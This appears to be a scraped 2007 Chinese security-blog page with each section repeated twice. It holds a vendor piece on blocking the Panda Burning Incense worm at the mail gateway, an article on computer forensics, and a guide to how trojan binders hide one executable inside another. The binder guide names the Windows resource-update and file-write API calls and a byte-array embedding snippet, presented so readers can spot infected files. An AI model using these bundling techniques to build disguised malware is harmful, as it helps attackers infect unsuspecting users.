敏讯科技防病毒技术人员建议,“熊猫烧香”病毒通过网页文件、邮件发送等方式感染到计算机系统,除了有效的安装专业的杀毒软件,升级到最新版本杀毒外,更主要的是对病毒传播源头开始进行彻底清理,否则没有显著的效果来对付“熊猫烧香病毒的滋生泛滥。针对网页文件的感染需要做到不要随意点击不明的网页地址链接,浏览网站时,务必打开计算机系统中防病毒软件的“网页监控”功能。
而针对通过邮件群发方式传播“熊猫烧香”病毒,敏讯科技针对病毒邮件发送源头进行彻底的拦截查杀。针对病毒邮件发送服务器联机的时间、频率、规则,虚假的smtp路由信息、动态IP等多种具备垃圾邮件典型行为的特征准确判断,从而对病毒邮件发送行为进行深入探测,精确区分每一封病毒邮件。这种技术能够追踪到病毒邮件的原始传递信息、爆发信息,实施“空中拦截”方式把可疑病毒邮件拦截到“EQManager邮件网关”,而不用下载到邮件服务器传播到用户的计算机系统,从而保障了用户计算机系统的安全使用。
另据介绍敏讯科技的“EQAVSE邮件防病毒系统”是敏讯科技自主研发的专业邮件防病毒产品,它嵌入的EQManager邮件安全网关的“查杀病毒邮件”模块,每天都会自定义升级病毒策略库,实时在线查杀病毒邮件,在线检测技术、扫描速度、文档修复、软件功能等多方面功能,全方面对病毒文件查杀处理。
从电子邮件入手,切断“熊猫烧香”入侵线路。防病毒、防垃圾邮件两手齐动,多方位保护我们系统的安全,拒绝熊猫烧香入侵的黑手。
“熊猫烧香”的作者落网了,主犯也被抓了几个,解毒程序更是在进一步鉴定中。似乎针对“熊猫烧香”病毒的斗争一切都在向着很好的方向发展,真的是这样么?
解毒程序不是万能的!时至今日,“熊猫烧香”病毒的新变种还在不断出现,继续危害着计算机用户。
在与瑞星专家的访谈中我们知道熊猫烧香病毒传播主要是以感染的网页文件和邮件传播为主,病毒代码多数藏匿在网页文件代码中,多数携带此类病毒的网页文件都以广告宣传种类居多,通过邮件群发的方式在网上肆意扩散,造成计算机系统的瘫痪,严重妨碍了人们的正常工作和学习。
敏讯科技防病毒技术人员建议,“熊猫烧香”病毒通过网页文件、邮件发送等方式感染到计算机系统,除了有效的安装专业的杀毒软件,升级到最新版本杀毒外,更主要的是对病毒传播源头开始进行彻底清理,否则没有显著的效果来对付“熊猫烧香病毒的滋生泛滥。针对网页文件的感染需要做到不要随意点击不明的网页地址链接,浏览网站时,务必打开计算机系统中防病毒软件的“网页监控”功能。
而针对通过邮件群发方式传播“熊猫烧香”病毒,敏讯科技针对病毒邮件发送源头进行彻底的拦截查杀。针对病毒邮件发送服务器联机的时间、频率、规则,虚假的smtp路由信息、动态IP等多种具备垃圾邮件典型行为的特征准确判断,从而对病毒邮件发送行为进行深入探测,精确区分每一封病毒邮件。这种技术能够追踪到病毒邮件的原始传递信息、爆发信息,实施“空中拦截”方式把可疑病毒邮件拦截到“EQManager邮件网关”,而不用下载到邮件服务器传播到用户的计算机系统,从而保障了用户计算机系统的安全使用。
另据介绍敏讯科技的“EQAVSE邮件防病毒系统”是敏讯科技自主研发的专业邮件防病毒产品,它嵌入的EQManager邮件安全网关的“查杀病毒邮件”模块,每天都会自定义升级病毒策略库,实时在线查杀病毒邮件,在线检测技术、扫描速度、文档修复、软件功能等多方面功能,全方面对病毒文件查杀处理。
从电子邮件入手,切断“熊猫烧香”入侵线路。防病毒、防垃圾邮件两手齐动,多方位保护我们系统的安全,拒绝熊猫烧香入侵的黑手。
菜鸟也来对付最流行的几种病毒捆绑器
[ 2007-03-25 02:53:46 | 作者: sun ]
【编者按:我们经常听到有人说“我中毒啦”、“我的文件被感染”啦。而且很多时候人们会发现,病毒被查杀的同时,自己的文件也被破坏了,这一切其实都是和病毒的捆绑技术有关。本文内容仅供参考,切勿用于不当之处!】
最近不知怎么搞的,一夜就冒出许多捆绑机,害得我等菜鸟苦不堪言。今天就各种捆绑器的原理和检测方法做个简单的总结,以帮助各位识别带毒程序。
一、传统的捆绑器 这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。
检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点(不管是否加壳)。一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点,检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来,然后检索关键字MZ或者PE。
说到这里,相信大家有了一个大概的了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。
二、资源包裹捆绑器 就这原理也很简单。大部分检测器是检测不出来的,但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳,所以也十分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头文件释放出来,然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。
检测方法:一般这种很难检测。如果你不怕麻烦,可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。
三、编译器捆绑法 暂时不知用什么名字来形容,所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言,目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。
四、最最毒辣的一种 因为暂时用的人较少,且危害性及查杀难度太大,所以就不公布了。此法查杀方法通用性极差。如果流行,估计大家连动画都不敢下着看了。
补充:可以利用一些第三方工具将硬盘和注册表监视起来以后再运行那些你不确定是否被捆绑的程序。这样,一旦硬盘出现变化,或有文件新建,或有文件改变都会被记录在案。就算是查找起来也方便一点。
最近不知怎么搞的,一夜就冒出许多捆绑机,害得我等菜鸟苦不堪言。今天就各种捆绑器的原理和检测方法做个简单的总结,以帮助各位识别带毒程序。
一、传统的捆绑器 这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。
检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点(不管是否加壳)。一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点,检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来,然后检索关键字MZ或者PE。
说到这里,相信大家有了一个大概的了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。
二、资源包裹捆绑器 就这原理也很简单。大部分检测器是检测不出来的,但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳,所以也十分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头文件释放出来,然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。
检测方法:一般这种很难检测。如果你不怕麻烦,可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。
三、编译器捆绑法 暂时不知用什么名字来形容,所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样
muma:array[0..9128] of Byte=($4D,$5A,$50....$00);
然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言,目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。
四、最最毒辣的一种 因为暂时用的人较少,且危害性及查杀难度太大,所以就不公布了。此法查杀方法通用性极差。如果流行,估计大家连动画都不敢下着看了。
补充:可以利用一些第三方工具将硬盘和注册表监视起来以后再运行那些你不确定是否被捆绑的程序。这样,一旦硬盘出现变化,或有文件新建,或有文件改变都会被记录在案。就算是查找起来也方便一点。
网络入侵证据的收集与分析
[ 2007-03-25 02:53:35 | 作者: sun ]
如果有未经授权的入侵者入侵了你的网络,且破坏了数据,除了从备份系统中恢复数据之外,还需要做什么呢?
从事网络安全工作的人都知道,黑客在入侵之后都会想方设法抹去自己在受害系统上的活动记录。目的是逃脱法律的制裁。
而许多企业也不上报网络犯罪,其原因在于害怕这样做会对业务运作或企业商誉造成负面影响。他们担心这样做会让业务运作因此失序。更重要的是收集犯罪证据有一定困难。因此,CIO们应该在应急响应系统的建立中加入计算机犯罪证据的收集与分析环节。
什么是“计算机犯罪取证”?
计算机取证又称为数字取证或电子取证,是指对计算机入侵、破坏、欺诈、攻击等犯罪行为利用计算机软硬件技术,按照符合法律规范的方式进行证据获取、保存、分析和出示的过程。从技术上,计算机取证是一个对受侵计算机系统进行扫描和破解,以及对整个入侵事件进行重建的过程。
计算机取证包括物理证据获取和信息发现两个阶段。物理证据获取是指调查人员到计算机犯罪或入侵的现场,寻找并扣留相关的计算机硬件;信息发现是指从原始数据(包括文件,日志等)中寻找可以用来证明或者反驳的证据,即电子证据。
除了那些刚入门的“毛小子”之外,计算机犯罪分子也会在作案前周密部署、作案后消除蛛丝马迹。他们更改、删除目标主机的日志文件,清理自己的工具软件,或利用反取证工具来破坏侦察人员的取证。这就要求我们在反入侵的过程中,首先要清楚我们要做什么?然后才是怎么做的问题。
物理取证是核心任务
物理证据的获取是全部取证工作的基础。获取物理证据是最重要的工作,保证原始数据不受任何破坏。无论在任何情况下,调查者都应牢记5点:(1)不要改变原始记录;(2)不要在作为证据的计算机上执行无关的操作;(3)不要给犯罪者销毁证据的机会;(4)详细记录所有的取证活动;(5)妥善保存得到的物证。如果被入侵的计算机处于工作状态,取证人员应该设法保存尽可能多的犯罪信息。
要做到这5点可以说困难重重,首先可能出现的问题就是无法保证业务的连续性。由于入侵者的证据可能存在于系统日志、数据文件、寄存器、交换区、隐藏文件、空闲的磁盘空间、打印机缓存、网络数据区和计数器、用户进程存储器、文件缓存区等不同的位置。由此看见,物理取证不但是基础,而且是技术难点。
通常的做法是将要获取的数据包括从内存里获取易灭失数据和从硬盘获取等相对稳定数据,保证获取的顺序为先内存后硬盘。案件发生后,立即对目标机和网络设备进行内存检查并做好记录,根据所用操作系统的不同可以使用的内存检查命令对内存里易灭失数据获取,力求不要对硬盘进行任何读写操作,以免更改数据原始性。利用专门的工具对硬盘进行逐扇区的读取,将硬盘数据完整地克隆出来,便于今后在专门机器上对原始硬盘的镜像文件进行分析。
“计算机法医”要看的现场是什么?(日志)
有的时候,计算机取证(Computer Forensics)也可以称为计算机法医学,它是指把计算机看作是犯罪现场,运用先进的辨析技术,对电脑犯罪行为进行法医式的解剖,搜寻确认罪犯及其犯罪证据,并据此提起诉讼。好比飞机失事后,事故现场和当时发生的任何事都需要从飞机的“黑匣子”中获取。说到这里您可能就猜到了,计算机的黑匣子就是自身的日志记录系统。从理论上讲,计算机取证人员能否找到犯罪证据取决于:有关犯罪证据必须没有被覆盖;取证软件必须能找到这些数据;取证人员能知道这些文件,并且能证明它们与犯罪有关。但从海量的数据里面寻找蛛丝马迹是一件非常费时费力的工作,解决这一难题方法的就是切入点,所以说从日志入手才是最直接有效的手段。
这里还需要指出,不同的操作系统都可以在“Event Viewer Security”(安全事件观察器)中能够检查到各种活动和日志信息,但是自身的防护性能都是非常低,一旦遭受到入侵,很容易就被清除掉。从中我们可以看到,专业的日志防护与分析软件在整个安全产品市场中的地位之重,无需置疑。
我国有关计算机取证的研究与实践尚在起步阶段,在信息技术较发达的美国已有了30年左右的历史。现在美国至少有70%的法律部门拥有自己的计算机取证实验室,取证专家在实验室内分析从犯罪现场获取的计算机(和外设),并试图找出入侵行为。
在国内,公安部门打击计算机犯罪案件是近几年的事,有关计算机取证方面的研究和实践才刚起步。中科院、浙江大学和复旦大学等在电子取证的各个技术方面都在积极开展研究工作。6月26日在北京召开的CFAT.2005首届中国计算机取证技术峰会也是旨在推动国内外计算机取证先进技术的传播和扩大研究交流的深度广度,促进计算机取证专业人员、司法界人士以及兴趣爱好者直接、深入的交流。在把企业业务连续性作为首位的同时,我们也呼吁更加智能化的物理取证工具的早日面试。
从事网络安全工作的人都知道,黑客在入侵之后都会想方设法抹去自己在受害系统上的活动记录。目的是逃脱法律的制裁。
而许多企业也不上报网络犯罪,其原因在于害怕这样做会对业务运作或企业商誉造成负面影响。他们担心这样做会让业务运作因此失序。更重要的是收集犯罪证据有一定困难。因此,CIO们应该在应急响应系统的建立中加入计算机犯罪证据的收集与分析环节。
什么是“计算机犯罪取证”?
计算机取证又称为数字取证或电子取证,是指对计算机入侵、破坏、欺诈、攻击等犯罪行为利用计算机软硬件技术,按照符合法律规范的方式进行证据获取、保存、分析和出示的过程。从技术上,计算机取证是一个对受侵计算机系统进行扫描和破解,以及对整个入侵事件进行重建的过程。
计算机取证包括物理证据获取和信息发现两个阶段。物理证据获取是指调查人员到计算机犯罪或入侵的现场,寻找并扣留相关的计算机硬件;信息发现是指从原始数据(包括文件,日志等)中寻找可以用来证明或者反驳的证据,即电子证据。
除了那些刚入门的“毛小子”之外,计算机犯罪分子也会在作案前周密部署、作案后消除蛛丝马迹。他们更改、删除目标主机的日志文件,清理自己的工具软件,或利用反取证工具来破坏侦察人员的取证。这就要求我们在反入侵的过程中,首先要清楚我们要做什么?然后才是怎么做的问题。
物理取证是核心任务
物理证据的获取是全部取证工作的基础。获取物理证据是最重要的工作,保证原始数据不受任何破坏。无论在任何情况下,调查者都应牢记5点:(1)不要改变原始记录;(2)不要在作为证据的计算机上执行无关的操作;(3)不要给犯罪者销毁证据的机会;(4)详细记录所有的取证活动;(5)妥善保存得到的物证。如果被入侵的计算机处于工作状态,取证人员应该设法保存尽可能多的犯罪信息。
要做到这5点可以说困难重重,首先可能出现的问题就是无法保证业务的连续性。由于入侵者的证据可能存在于系统日志、数据文件、寄存器、交换区、隐藏文件、空闲的磁盘空间、打印机缓存、网络数据区和计数器、用户进程存储器、文件缓存区等不同的位置。由此看见,物理取证不但是基础,而且是技术难点。
通常的做法是将要获取的数据包括从内存里获取易灭失数据和从硬盘获取等相对稳定数据,保证获取的顺序为先内存后硬盘。案件发生后,立即对目标机和网络设备进行内存检查并做好记录,根据所用操作系统的不同可以使用的内存检查命令对内存里易灭失数据获取,力求不要对硬盘进行任何读写操作,以免更改数据原始性。利用专门的工具对硬盘进行逐扇区的读取,将硬盘数据完整地克隆出来,便于今后在专门机器上对原始硬盘的镜像文件进行分析。
“计算机法医”要看的现场是什么?(日志)
有的时候,计算机取证(Computer Forensics)也可以称为计算机法医学,它是指把计算机看作是犯罪现场,运用先进的辨析技术,对电脑犯罪行为进行法医式的解剖,搜寻确认罪犯及其犯罪证据,并据此提起诉讼。好比飞机失事后,事故现场和当时发生的任何事都需要从飞机的“黑匣子”中获取。说到这里您可能就猜到了,计算机的黑匣子就是自身的日志记录系统。从理论上讲,计算机取证人员能否找到犯罪证据取决于:有关犯罪证据必须没有被覆盖;取证软件必须能找到这些数据;取证人员能知道这些文件,并且能证明它们与犯罪有关。但从海量的数据里面寻找蛛丝马迹是一件非常费时费力的工作,解决这一难题方法的就是切入点,所以说从日志入手才是最直接有效的手段。
这里还需要指出,不同的操作系统都可以在“Event Viewer Security”(安全事件观察器)中能够检查到各种活动和日志信息,但是自身的防护性能都是非常低,一旦遭受到入侵,很容易就被清除掉。从中我们可以看到,专业的日志防护与分析软件在整个安全产品市场中的地位之重,无需置疑。
我国有关计算机取证的研究与实践尚在起步阶段,在信息技术较发达的美国已有了30年左右的历史。现在美国至少有70%的法律部门拥有自己的计算机取证实验室,取证专家在实验室内分析从犯罪现场获取的计算机(和外设),并试图找出入侵行为。
在国内,公安部门打击计算机犯罪案件是近几年的事,有关计算机取证方面的研究和实践才刚起步。中科院、浙江大学和复旦大学等在电子取证的各个技术方面都在积极开展研究工作。6月26日在北京召开的CFAT.2005首届中国计算机取证技术峰会也是旨在推动国内外计算机取证先进技术的传播和扩大研究交流的深度广度,促进计算机取证专业人员、司法界人士以及兴趣爱好者直接、深入的交流。在把企业业务连续性作为首位的同时,我们也呼吁更加智能化的物理取证工具的早日面试。